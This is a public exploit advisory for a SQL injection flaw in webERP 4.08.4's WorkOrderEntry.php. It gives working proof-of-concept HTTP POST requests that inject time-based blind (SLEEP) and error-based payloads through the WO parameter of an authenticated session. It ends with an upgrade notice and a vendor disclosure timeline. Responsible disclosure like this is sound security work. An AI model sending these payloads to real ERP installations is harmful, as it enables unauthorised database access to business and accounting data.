webERP 4.08.4 – ‘WorkOrderEntry.php’ SQL Injection
# Exploit Title: webERP <=4.08.4 WorkOrderEntry.php SQL Injection Vulnerability # Date: 14/09/2012 # Exploit Author: modpr0be (modpr0be[at]spentera.com) # Vendor Homepage: http://www.weberp.org # Software Link: http://sourceforge.net/projects/web-erp/files/ # Version: 4.08.4 # Tested on: Windows 2003 Standard Edition, XAMPP 1.7.4 (Default Config) # CVE: - # Software Description # webERP is a mature open-source ERP system providing best practise, multi-user business # administration and accounting tools over the web. # Vulnerability Overview # webERP is vulnerable to SQL Injection vulnerability in the WorkOrderEntry.php within the WO parameter. # Due tue unvalidated input, when the single quote is inserted the web application throw a database error # message that indicated a SQL Injection is exist. # Another test was performed and indicated that the WO parameter is also vulnerable to time-based blind sql injection. # However, the attacker must be in authenticated session to exploit the vulnerability. # POC (authenticated session needed): # Time-based Blind SQL Injection POST /weberp/WorkOrderEntry.php HTTP/1.1 Host: 1.1.1.1 User-Agent: Mozilla/5.0 (X11; Linux i686; rv:12.0) Gecko/20100101 Firefox/12.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Cookie: PHPSESSID=n9g1ts0s7oigk88eto8f8nm111 Content-Type: application/x-www-form-urlencoded Content-Length: 207 FormID=ff60696dab6b35c56558628b7237a624be19ad11&WO=33' AND SLEEP(5) AND '1'='1&StockLocation=MEL&StartDate=14%2F09%2F2012&RequiredBy=14%2F09%2F2012&NumberOfOutputs=0&submit=&StockCat=All&Keywords=&StockCode= # Error-based SQL Injection POST /weberp/WorkOrderEntry.php HTTP/1.1 Host: 1.1.1.1 User-Agent: Mozilla/5.0 (X11; Linux i686; rv:12.0) Gecko/20100101 Firefox/12.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Cookie: PHPSESSID=n9g1ts0s7oigk88eto8f8nm111 Content-Type: application/x-www-form-urlencoded Content-Length: 207 FormID=ff60696dab6b35c56558628b7237a624be19ad11&WO=33'&StockLocation=MEL&StartDate=14%2F09%2F2012&RequiredBy=14%2F09%2F2012&NumberOfOutputs=0&submit=&StockCat=All&Keywords=&StockCode= # Solution # Upgrade to latest version here: http://sourceforge.net/projects/web-erp/ # Vendor Contact Log 08/29/2012 - Bug found, submitted to Bug Report 08/29/2012 - Vendor fix the bug, and request testing on patch version 09/03/2012 - Confirm no vulnerablity found. 09/11/2012 - webERP 4.08.5 released. |